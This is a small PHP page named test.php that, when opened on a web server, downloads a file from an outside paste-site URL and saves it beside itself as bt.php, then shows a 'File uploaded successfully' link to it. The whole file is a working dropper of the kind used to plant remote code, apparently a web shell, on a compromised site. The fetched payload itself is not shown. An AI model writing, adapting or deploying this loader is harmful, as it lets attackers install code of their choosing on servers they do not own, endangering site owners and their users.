test.php
<html> <head></head> <body style='background-color: black;'> <?php $url = 'https://copyandpaste.at/api/raw?id=D_D0B0sEft'; $outputFile = 'bt.php'; // Stream the remote file straight to disk with PHP's own I/O instead of // spawning a shell and running wget. Like wget -O, a failed request // still leaves an (empty) output file behind. $src = @fopen($url, 'rb'); $dst = @fopen($outputFile, 'wb'); if ($dst !== false) { if ($src !== false) { stream_copy_to_stream($src, $dst); } fclose($dst); } if ($src !== false) { fclose($src); } $safeFile = htmlspecialchars($outputFile, ENT_QUOTES, 'UTF-8'); echo "<p><center style='color: cyan;font-size: 1.3em;'>File uploaded successfully.<br><a href='$safeFile' style='text-decoration: none;color: lime;'>Click to access</a></br></center></p>"; ?> </body> </html>